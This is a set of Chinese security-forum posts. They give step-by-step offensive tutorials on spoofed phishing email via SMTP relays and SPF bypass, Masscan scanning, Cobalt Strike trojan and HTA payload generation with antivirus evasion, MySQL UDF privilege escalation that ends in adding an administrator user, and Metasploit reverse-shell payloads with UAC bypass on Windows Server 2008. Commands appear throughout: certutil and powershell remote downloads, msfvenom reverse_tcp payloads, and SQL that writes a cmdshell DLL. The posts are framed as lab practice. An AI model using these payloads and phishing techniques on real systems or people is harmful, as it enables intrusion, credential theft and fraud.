网上的邮件托管平台有很多,这里介绍两种:smtp2go 和 SendCloud
地址如下:
Smtp2go       (速度慢但免费发送量大)
SendCloud  (速度快但免费发送量少)
 
这里以Smtp2go为例介绍如何使用
注册好后可以免费发送1000封邮件
1.png

 
同时注意要保存用户名和密码
(SendCloud中的用户名和密码为 API_USER和API_KEY)
2.png

 
然后在这里填入一个你可以修改DNS的域名进行验证(SendCloud自带一个随机生成的域名,不需要用自己的进行验证)
3.png


之后就可以使用smtp2go的SMTP服务器进行代发邮件了
 swaks -t xxx@qq.com -f xx@163.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪"

使用其他一些参数可以帮助我们更好的绕过SPF的检查:
swaks -t xxx@qq.com -f xx@smtp2go.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪" --header-X-Mailer qq.com --header-From: "zksmile <xx@qq.com>"


但是使用swaks还是无法绕过全部的反垃圾机制
所以还是使用Python进行发送效果会好些,也可以根据实际需要对代码进行修改 
Python SMTP发送邮件
#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from email.header import Header
from email.mime.text import MIMEText

#sendcloud:mail_host="smtpcloud.sohu.com"
mail_host="mail.smtp2go.com"
mail_user="xx"
mail_pass="xxxxx"

sender = "zksmile <xx@qq.com>"
#发送者
receivers = "wuyou <xx@qq.com>"
#接受者
subject = "垂钓之法"
#邮件标题

message = MIMEText("孤舟蓑笠英,独钓寒江雪", "plain", "utf-8")
message["From"] = Header(sender ,"utf-8")
message["To"] = Header(receivers ,"utf-8")
message["Subject"] = Header(subject, "utf-8")
message["X-Mailer"] = Header("qq.com", "utf-8")

try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"
伪造QQ邮箱发送至QQ邮箱:
5.png

 
伪造其他邮箱发送至QQ邮箱:
6.png

 
虽说现在可以初步将钓鱼邮件成功发送至目标邮箱了,但目前还是存在很多的问题
如qq邮箱在地址验证失败时不会在邮件列表中把发件人显示出来
7.png

 
还有代发暂时无法隐藏
8.png

 
虽说看了很多文章,知道代发是有可能绕过的,但我暂时仍没有一个很好的解决办法
所以说在第三篇我会继续在把钓鱼邮件技术进行改进

 

Windows安装和使用Masscan

flaray 发表了文章 • 2 个评论 • 150 次浏览 • 2019-07-19 11:00 • 来自相关话题

0x00 前言
Masscan号称最快的互联网端口扫描器,本文来探测一下Masscan在Windows下的安装和使用。
masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
扫描C段常见端口开放可以使用Nmap导入文件扫描,但速度太慢,我们可以牺牲一些准确度使用Masscan快速扫描。

0x01 Windows下编译Masscan
Masscan需要经过编译才能生成exe文件在Windows下使用。
Masscan下载地址:
https://github.com/robertdavidgraham/masscan/
编译工具:vs2012
编译选项中未添加vs2012的编译配置,所以直接编译会报错
 
解决方法:
在string_s.h中添加vs2012配置信息
位于misc-string_s.h,添加代码如下:#if defined(_MSC_VER) && (_MSC_VER == 1700)
/*Visual Studio 2012*/
# include <stdio.h>
# include <string.h>
# define strcasecmp _stricmp
# define memcasecmp _memicmp
# ifndef PRIu64
# define PRIu64 "llu"
# define PRId64 "lld"
# define PRIx64 "llx"
# endif编译成功,执行masscan.exe,提示Packet.dll: not found
如下图




Packet.dll获取方法:
安装WinPcap后在System32下获得
WinPcap下载地址:
https://www.winpcap.org/install/default.htm
在另一系统安装WinPcap,在System32下找到Packet.dll和Wpcap.dll,复制到测试系统下masscan.exe的同级目录,再次运行
程序正常启动,但是无法扫描,报错如下:
FAIL: Error opening adapter: 系统找不到指定的设备。 (20) adapter[\Device\NPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed
 
0x02 安装WinPcap
官网下载安装即可。
https://www.winpcap.org/install/default.htm
 
0x03 Masscan使用
扫描指定网段和端口:
masscan.exe -p80 192.168.81.1/24
找到一台开启80端口的服务器,回显如下:
Discovered open port 80/tcp on 192.168.81.143
扫描指定主机所有开放的端口:
masscan.exe -p0-65535 192.168.81.143
如下图





扫描指定主机的特定端口:
masscan.exe -p80,443 192.168.81.143

获取banner:
masscan.exe -p80,443,3306 192.168.81.143 --banners

通过配置文件启动扫描:
将配置信息保存在1.conf:
masscan.exe -p80,443,3306 192.168.81.143 --banners --echo>1.conf

读取配置信息1.conf,启动扫描:
masscan.exe -c 1.conf

修改扫描速度为100,000包/秒(Windos下最大为 300,000包/秒),默认100包/秒:
--rate 100000

扫描结果可以以不同的格式输出:(XML是默认格式)-oX <filespec> (XML)
-oB <filespec> (Binary)
-oG <filespec> (Grep)
-oJ <filespec> (Json)
-oL <filespec> (List)
-oU <filespec> (Unicornscan format)默认情况,masscan开启如下配置:
   -sS:   半开放扫描,不完成完整的TCP/IP连接
   -Pn:   跳过主机发现
   -n:   跳过DNS解析
   --randomize-hosts:随机化扫描
   --send-eth:使用libpcap数据包传输详细参数

<ip/range> IP地址范围,有三种有效格式:1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开-p <ports,--ports <ports>> 指定端口进行扫描

--banners 获取banner信息,支持少量的协议

--rate <packets-per-second> 指定发包的速率

-c <filename>, --conf <filename> 读取配置文件进行扫描

--echo 将当前的配置重定向到一个配置文件中

-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称

--adapter-ip <ip-address> 指定发包的IP地址

--adapter-port <port> 指定发包的源端口

--adapter-mac <mac-address> 指定发包的源MAC地址

--router-mac <mac address> 指定网关的MAC地址

--exclude <ip/range> IP地址范围黑名单,防止masscan扫描

--excludefile <filename> 指定IP地址范围黑名单文件

--includefile,-iL <filename> 读取一个范围列表进行扫描

--ping 扫描应该包含ICMP回应请求

--append-output 以附加的形式输出到文件

--iflist 列出可用的网络接口,然后退出

--retries 发送重试的次数,以1秒为间隔

--nmap 打印与nmap兼容的相关信息

--http-user-agent <user-agent> 设置user-agent字段的值

--show [open,close] 告诉要显示的端口状态,默认是显示开放端口

--noshow [open,close] 禁用端口状态显示

--pcap <filename> 将接收到的数据包以libpcap格式存储

--regress 运行回归测试,测试扫描器是否正常运行

--ttl <num> 指定传出数据包的TTL值,默认为255

--wait <seconds> 指定发送完包之后的等待时间,默认为10秒

--offline 没有实际的发包,主要用来测试开销

-sL 不执行扫描,主要是生成一个随机地址列表

--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.

--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。
Nmap功能
Masscan可以像nmap许多安全人员一样工作。这里有一些其他类似nmap的选项:
通过传递–nmap开关可以看到类似nmap的功能。1. -iL filename:从文件读取输入。
2. ‐‐exclude filename:在命令行中排除网络。
3. ‐‐excludefile:从文件中排除网络。
4. -S:欺骗源IP。
5. -v interface:详细输出。
6. -vv interface:非常冗长的输出。
7. -e interface:使用指定的接口。
8. -e interface:使用指定的接口。 
已经编译后的exe文件:

masscan.zip


参考:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/
https://www.freebuf.com/sectool/112583.html
https://danielmiessler.com/study/masscan/ 查看全部
0x00 前言
Masscan号称最快的互联网端口扫描器,本文来探测一下Masscan在Windows下的安装和使用。
masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。而且,masscan更加灵活,它允许自定义任意的地址范和端口范围。
扫描C段常见端口开放可以使用Nmap导入文件扫描,但速度太慢,我们可以牺牲一些准确度使用Masscan快速扫描。

0x01 Windows下编译Masscan
Masscan需要经过编译才能生成exe文件在Windows下使用。
Masscan下载地址:
https://github.com/robertdavidgraham/masscan/
编译工具:vs2012
编译选项中未添加vs2012的编译配置,所以直接编译会报错
 
解决方法:
在string_s.h中添加vs2012配置信息
位于misc-string_s.h,添加代码如下:
#if defined(_MSC_VER) && (_MSC_VER == 1700)
/*Visual Studio 2012*/
# include <stdio.h>
# include <string.h>
# define strcasecmp _stricmp
# define memcasecmp _memicmp
# ifndef PRIu64
# define PRIu64 "llu"
# define PRId64 "lld"
# define PRIx64 "llx"
# endif
编译成功,执行masscan.exe,提示Packet.dll: not found
如下图
2-1.png

Packet.dll获取方法:
安装WinPcap后在System32下获得
WinPcap下载地址:
https://www.winpcap.org/install/default.htm
在另一系统安装WinPcap,在System32下找到Packet.dll和Wpcap.dll,复制到测试系统下masscan.exe的同级目录,再次运行
程序正常启动,但是无法扫描,报错如下:
FAIL: Error opening adapter: 系统找不到指定的设备。 (20) adapter[\Device\NPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed
 
0x02 安装WinPcap
官网下载安装即可。
https://www.winpcap.org/install/default.htm
 
0x03 Masscan使用
扫描指定网段和端口:
masscan.exe -p80 192.168.81.1/24
找到一台开启80端口的服务器,回显如下:
Discovered open port 80/tcp on 192.168.81.143
扫描指定主机所有开放的端口:
masscan.exe -p0-65535 192.168.81.143
如下图
3-1.png


扫描指定主机的特定端口:
masscan.exe -p80,443 192.168.81.143

获取banner:
masscan.exe -p80,443,3306 192.168.81.143 --banners

通过配置文件启动扫描:
将配置信息保存在1.conf:
masscan.exe -p80,443,3306 192.168.81.143 --banners --echo>1.conf


读取配置信息1.conf,启动扫描:
masscan.exe -c 1.conf

修改扫描速度为100,000包/秒(Windos下最大为 300,000包/秒),默认100包/秒:
--rate 100000

扫描结果可以以不同的格式输出:(XML是默认格式)
-oX <filespec> (XML)
-oB <filespec> (Binary)
-oG <filespec> (Grep)
-oJ <filespec> (Json)
-oL <filespec> (List)
-oU <filespec> (Unicornscan format)
默认情况,masscan开启如下配置:
   -sS:   半开放扫描,不完成完整的TCP/IP连接
   -Pn:   跳过主机发现
   -n:   跳过DNS解析
   --randomize-hosts:随机化扫描
   --send-eth:使用libpcap数据包传输详细参数

<ip/range> IP地址范围,有三种有效格式:1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开
-p <ports,--ports <ports>> 指定端口进行扫描

--banners 获取banner信息,支持少量的协议

--rate <packets-per-second> 指定发包的速率

-c <filename>, --conf <filename> 读取配置文件进行扫描

--echo 将当前的配置重定向到一个配置文件中

-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称

--adapter-ip <ip-address> 指定发包的IP地址

--adapter-port <port> 指定发包的源端口

--adapter-mac <mac-address> 指定发包的源MAC地址

--router-mac <mac address> 指定网关的MAC地址

--exclude <ip/range> IP地址范围黑名单,防止masscan扫描

--excludefile <filename> 指定IP地址范围黑名单文件

--includefile,-iL <filename> 读取一个范围列表进行扫描

--ping 扫描应该包含ICMP回应请求

--append-output 以附加的形式输出到文件

--iflist 列出可用的网络接口,然后退出

--retries 发送重试的次数,以1秒为间隔

--nmap 打印与nmap兼容的相关信息

--http-user-agent <user-agent> 设置user-agent字段的值

--show [open,close] 告诉要显示的端口状态,默认是显示开放端口

--noshow [open,close] 禁用端口状态显示

--pcap <filename> 将接收到的数据包以libpcap格式存储

--regress 运行回归测试,测试扫描器是否正常运行

--ttl <num> 指定传出数据包的TTL值,默认为255

--wait <seconds> 指定发送完包之后的等待时间,默认为10秒

--offline 没有实际的发包,主要用来测试开销

-sL 不执行扫描,主要是生成一个随机地址列表

--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.

--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。

Nmap功能
Masscan可以像nmap许多安全人员一样工作。这里有一些其他类似nmap的选项:
通过传递–nmap开关可以看到类似nmap的功能。
1. -iL filename:从文件读取输入。
2. ‐‐exclude filename:在命令行中排除网络。
3. ‐‐excludefile:从文件中排除网络。
4. -S:欺骗源IP。
5. -v interface:详细输出。
6. -vv interface:非常冗长的输出。
7. -e interface:使用指定的接口。
8. -e interface:使用指定的接口。
 
已经编译后的exe文件:

参考:
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/
https://www.freebuf.com/sectool/112583.html
https://danielmiessler.com/study/masscan/

CobaltStrike客户端使用教程

wuyou 发表了文章 • 2 个评论 • 168 次浏览 • 2019-07-18 20:25 • 来自相关话题

服务端的搭建很简单,网上有很多,这里就跳过了,直接开始客户端的使用教程
.jar文件就是我们的客户端,我又做了个有图标的快捷方式,这样会更顺眼一些




 
填入服务端的IP和端口,User为用户名,可以随便填一个,密码为统一的搭建服务端时设置的密码




 
CS客户端窗口





Cobalt StrikeNew Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #选择展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接
ViewApplications #显示受害者机器的应用信息
Credentials #通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录
 Attacks
PackagesHTML Application #生成恶意的HTA木马文件MS Office Macro #生成office宏病毒文件Payload Generator #生成各种语言版本的payloadUSB/CD AutoPlay #生成利用自动播放运行的木马文件,只针对WinXP等旧版本Windows Dropper #捆绑器,能够对文档类进行捆绑Windows Executable #生成可执行exe木马Windows Executable(S) #生成无状态的可执行exe木马Web Drive-by
Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块
 Reportingactivity report #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口
 helpHomepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于
 如何使靶机上线
1、建立至少一个监听




beacon为CS的监听器,foreign为外部也就是metasploit的监听器windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp填写服务器的IP,使获得的会话弹到服务器的CS上,然后我们就可以在客户端的CS上对这些会话进行操作
 
2、生成恶意EXE程序Attacks -> Packages -> Windows Executable







之后选择生成目录,生成的恶意EXE就建立好了,只要在靶机上双击执行,目标就会成功上线
 
3、生成Web木马Attacks -> Packages -> HTML Application选择脚本语言和生成目录后我们的木马就创建成功了,之后要把他放到Web服务的目录下,从而使受害者在点击页面时自动提示下载,如果受害者下载并执行,则靶机成功上线
这里也可以帮助我们快速的向服务器上上传一些需要远程下载的文件,CS可以帮助我们生成远程下载命令,我这里也再添加两条certutil -urlcache -split -f http://ip/1.txt E:/test.php
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip','E:\test.php')



 
4、生成恶意payloadAttacks -> Packages -> Payload Generator



 
注意:生成的Payload中只包含了我们的监听信息,要利用必须结合Veil或Metasploit生成完整代码,再替换其中的监听信息
因为代码有天然的免杀能力,比如一个Python脚本在靶机运行他之后就会直接上线,而杀毒软件没有任何反应,这可以帮助我们从源码开始进行免杀!
 
5、CS的上线方式还有很多,比如Office宏病毒等,这里就不一一介绍了
 
靶机上线后如何进行命令执行




由于CS默认响应时间为60s,所以如果想要快速执行命令的话就要设置一下beacon> sleep 0



如果我们想执行whoami之类的cmd命令,就要在命令前加上shellbeacon> shell whoami但CS自带的命令不需要加,输入help来查看CS自带了哪些命令
 
提权beacon> bypassuac
beacon> getsystem选择一个监听来使成功提权后的Session反弹进来





带“*”的并且图标带红边的就是高权限的Session





派生





如果服务端是搭在公网上的,也可以直接设置Msf的IP为本地内网地址,不用做端口转发




 
派生前要在Msf中开始监听use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.100
set lport 8888
exploit当然,除了派生给Msf,我们也可以利用派生功能将Session派生给其他使用CS的团队成员
 
其他模块
CS中还有很多后渗透的模块,比如VNC、C段存活主机扫描、抓密码、代理等等
因为CS是视图操作,所以我个人认为有些模块是比Msf中要简单快捷的,所以CS和Msf的联动是非常重要的!




 
  查看全部
服务端的搭建很简单,网上有很多,这里就跳过了,直接开始客户端的使用教程
.jar文件就是我们的客户端,我又做了个有图标的快捷方式,这样会更顺眼一些
1.png

 
填入服务端的IP和端口,User为用户名,可以随便填一个,密码为统一的搭建服务端时设置的密码
2.png

 
CS客户端窗口
3.png


Cobalt Strike
New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #选择展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接

View
Applications   #显示受害者机器的应用信息
Credentials #通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录

 Attacks
  • Packages
HTML Application   #生成恶意的HTA木马文件MS Office Macro   #生成office宏病毒文件Payload Generator   #生成各种语言版本的payloadUSB/CD AutoPlay   #生成利用自动播放运行的木马文件,只针对WinXP等旧版本Windows Dropper   #捆绑器,能够对文档类进行捆绑Windows Executable   #生成可执行exe木马Windows Executable(S)   #生成无状态的可执行exe木马
  • Web Drive-by

Manage   #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块

 Reporting
activity report   #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口

 help
Homepage   #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于

 如何使靶机上线
1、建立至少一个监听
6.png

beacon为CS的监听器,foreign为外部也就是metasploit的监听器
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
填写服务器的IP,使获得的会话弹到服务器的CS上,然后我们就可以在客户端的CS上对这些会话进行操作
 

2、生成恶意EXE程序
Attacks -> Packages -> Windows Executable
4.png

8.png

之后选择生成目录,生成的恶意EXE就建立好了,只要在靶机上双击执行,目标就会成功上线
 
3、生成Web木马
Attacks -> Packages -> HTML Application
选择脚本语言和生成目录后我们的木马就创建成功了,之后要把他放到Web服务的目录下,从而使受害者在点击页面时自动提示下载,如果受害者下载并执行,则靶机成功上线
这里也可以帮助我们快速的向服务器上上传一些需要远程下载的文件,CS可以帮助我们生成远程下载命令,我这里也再添加两条
certutil -urlcache -split -f http://ip/1.txt E:/test.php
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip','E:\test.php')
9.png

 
4、生成恶意payload
Attacks -> Packages -> Payload Generator
10.png

 
注意:生成的Payload中只包含了我们的监听信息,要利用必须结合Veil或Metasploit生成完整代码,再替换其中的监听信息
因为代码有天然的免杀能力,比如一个Python脚本在靶机运行他之后就会直接上线,而杀毒软件没有任何反应,这可以帮助我们从源码开始进行免杀!
 
5、CS的上线方式还有很多,比如Office宏病毒等,这里就不一一介绍了
 
靶机上线后如何进行命令执行
12.png

由于CS默认响应时间为60s,所以如果想要快速执行命令的话就要设置一下
beacon> sleep 0
13.png

如果我们想执行whoami之类的cmd命令,就要在命令前加上shell
beacon> shell whoami
但CS自带的命令不需要加,输入help来查看CS自带了哪些命令
 
提权
beacon> bypassuac
beacon> getsystem
选择一个监听来使成功提权后的Session反弹进来

14.png

带“*”的并且图标带红边的就是高权限的Session
15.png


派生
16.png


如果服务端是搭在公网上的,也可以直接设置Msf的IP为本地内网地址,不用做端口转发
17.png

 
派生前要在Msf中开始监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.100
set lport 8888
exploit
当然,除了派生给Msf,我们也可以利用派生功能将Session派生给其他使用CS的团队成员
 
其他模块
CS中还有很多后渗透的模块,比如VNC、C段存活主机扫描、抓密码、代理等等
因为CS是视图操作,所以我个人认为有些模块是比Msf中要简单快捷的,所以CS和Msf的联动是非常重要的!
18.png

 
 

Mysql udf 提权

你可以叫我风平 发表了文章 • 0 个评论 • 155 次浏览 • 2019-07-18 12:00 • 来自相关话题

目录:
一、UDF介绍
二、Mysql_udf提权的方式
1.get_shell后上传木马提权
2.获取mysql root 用户账号密码进行管理员提权
 
内容:
一、UDF的介绍
UDF(user defined function),即用户自定义函数,是通过添加新函数对Mysql的功能进行扩充。函数能返回字符串,整数或实数;可以自定义简单函数,或者集合函数;提供给函数的信息使函数可以检查传递它们的参量的数目和类型;可以将Mysql在将某参量传递给函数之前强制转换为某一类型;可以表示函数返回NULL或发生错误;
二、Mysql_udf提权的方式
           Windows下udf提权的条件:
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件下如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限
 
    1.get_shell后上传木马提权
    0x01 上传小马、大马
    查找路径命令dir d:\user.MYD /s




    0x02 破解数据库密码
   下载user.MYD文件(数据信息文件(MYData))
    我的路径:D\phpstudy\PHPTutorial\MySQL\data\mysql





    用winhex打开





    将上面的密文copy下来,找两行拼凑40位,不足40位的可用0补全
    6BB4837EB74329105EE4568D 24位
    6BB4837EB74329105EE4568D
    6BB4837EB74329105EE456
    补全后:6BB4837EB74329105EE4568D0000000000000000 40位
    将补全后的密文拿去解密:https://www.cmd5.com/ 
    一般的弱密码都能解开,强密码则需要付出点什么(money)交换。





    0x03 安装mysqlDLL.dll文件
    点击安装





    出现报错,这时需要手动创建plugin/目录
    由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 .dll 文件放入 plugin目录下,并且将.dll放入该目录下










    重新安装即可成功:(已经浮现之后,第二次复现下载的时候需要把文件名更换,不能重复)





    0x04 执行命令
    添加新用户
    用户名:YLsmile 密码:123@qwe
    命令: 
    添加用户 net user YLsmile 123@qwe /add    查看用户权限 net user YLsmile




    提权
    将用户组提升至adminstrators Net localgroup administrators YLsmile /add






    成功





    开启端口





    远程连接





    删除cmd shelldrop function cmdshell




 
 
    2.获取mysql root 用户账号密码进行管理员提权
    0x01用户连接
    0x02进行提权
    用mysql_hex()函数将udf.dll文件转化为16进制SELECT hex(load_file(‘F:\\phpstudy\\PHPTutoria1\\MySQL\\lib\\mysqlDLL.dll’)) into dumpfile ‘C:\\Users\\19757\\Desktop\\gg.txt’;    创建一个临时表create table mysql.a(cmd LONGBLOB);    将16进制字符串写入临时表(内容在提权工具udf.php代码中的16进制字符串)Insert into mysql.a (cmd) values (16进制字符串);    将查询内容解码并写到目标路径SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE ‘F://phpstudy//PHPTutorial//MySQL//lib//plugin//udf.dll’;    从udf文件中引入自定义函数Create function cmdshell returns string soname ‘udf.dll’;    命令执行Select cmdshell(‘whoami’);
 
 
 
  查看全部
目录:
一、UDF介绍
二、Mysql_udf提权的方式
1.get_shell后上传木马提权
2.获取mysql root 用户账号密码进行管理员提权
 
内容:
一、UDF的介绍
  1. UDF(user defined function),即用户自定义函数,是通过添加新函数对Mysql的功能进行扩充。
  2. 函数能返回字符串,整数或实数;
  3. 可以自定义简单函数,或者集合函数;
  4. 提供给函数的信息使函数可以检查传递它们的参量的数目和类型;
  5. 可以将Mysql在将某参量传递给函数之前强制转换为某一类型;
  6. 可以表示函数返回NULL或发生错误;

二、Mysql_udf提权的方式
           Windows下udf提权的条件:
  1. 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件下
  2. 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  4. 拥有可以将udf.dll写入相应目录的权限

 
    1.get_shell后上传木马提权
    0x01 上传小马、大马
    查找路径命令
dir d:\user.MYD /s

1.png

    0x02 破解数据库密码
   下载user.MYD文件(数据信息文件(MYData))
    我的路径:D\phpstudy\PHPTutorial\MySQL\data\mysql

2.png

    用winhex打开

3.png

    将上面的密文copy下来,找两行拼凑40位,不足40位的可用0补全
    6BB4837EB74329105EE4568D 24位
    6BB4837EB74329105EE4568D
    6BB4837EB74329105EE456
    补全后:6BB4837EB74329105EE4568D0000000000000000 40位
    将补全后的密文拿去解密:https://www.cmd5.com/ 
    一般的弱密码都能解开,强密码则需要付出点什么(money)交换。

4.png

    0x03 安装mysqlDLL.dll文件
    点击安装

5.png

    出现报错,这时需要手动创建plugin/目录
    由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 .dll 文件放入 plugin目录下,并且将.dll放入该目录下

6.png


7.png

    重新安装即可成功:(已经浮现之后,第二次复现下载的时候需要把文件名更换,不能重复)

8.png

    0x04 执行命令
    添加新用户
    用户名:YLsmile 密码:123@qwe
    命令: 
    添加用户 
net user YLsmile 123@qwe /add
    查看用户权限 
net user YLsmile

9.png

    提权
    将用户组提升至adminstrators
 Net localgroup administrators YLsmile /add


10.png

    成功

11.png

    开启端口

12.png

    远程连接

13.png

    删除cmd shell
drop function cmdshell

14.png

 
 
    2.获取mysql root 用户账号密码进行管理员提权
    0x01用户连接
    0x02进行提权
    用mysql_hex()函数将udf.dll文件转化为16进制
SELECT hex(load_file(‘F:\\phpstudy\\PHPTutoria1\\MySQL\\lib\\mysqlDLL.dll’)) into dumpfile ‘C:\\Users\\19757\\Desktop\\gg.txt’;
    创建一个临时表
create table mysql.a(cmd LONGBLOB);
    将16进制字符串写入临时表(内容在提权工具udf.php代码中的16进制字符串)
Insert into mysql.a (cmd) values (16进制字符串);
    将查询内容解码并写到目标路径
SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE ‘F://phpstudy//PHPTutorial//MySQL//lib//plugin//udf.dll’;
    从udf文件中引入自定义函数
Create function cmdshell returns string soname ‘udf.dll’;
    命令执行
Select cmdshell(‘whoami’);

 
 
 
 

使用Metasploit进行Windows Server2008 R2提权

wuyou 发表了文章 • 0 个评论 • 166 次浏览 • 2019-07-17 20:47 • 来自相关话题

靶机环境
Windows Server R2 2008 (默认带200个补丁)
SQLserver2008数据库
一个菜刀webshell
 
提权过程
1、使用msf生成payloadmsfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.72 lport=8080 -e x84/shikata_ga_nai -i 5 -f raw > wuyou.c
 2、在菜刀中上传shellcode.exe和wuyou.c
通过进程注入的方法来使远程主机上线,可以绕waf并使进程更隐蔽
https://github.com/clinicallyinane/shellcode_launcher/
 
3、配置metasploit,开始监听use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.29
set lport 8080
exploit




 
4、通过shellcode.exe运行wuyou.c




上线后查看权限




 
5、先尝试一句命令提权getsystem




6、发现失败了,因为有UAC保护

用户帐户控制(User Account Control,简写作UAC)是微软公司在Windows Vista其及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。





 
7、接下来看看我们可不可以通过假冒令牌来bypassuacuse incognito
list_tokens -u //列出令牌
impersonate_token [令牌号] //假冒令牌



结果也没有可用令牌,让我们来看看为什么吧use exploit/windows/local/bypassuac //32位和64位系统都可以用
(exploit/windows/local/bypassuac_injection) //进程注入,比较隐蔽
(exploit/windows/local/bypassuac_vbs)
(use exploit/windows/local/bypassuac_fodhelper)
(use exploit/windows/local/bypassuac_comhijack)
//还有一个模块我没有列出来,因为这个必须要用户点击一下弹窗的确定才能bypassuac




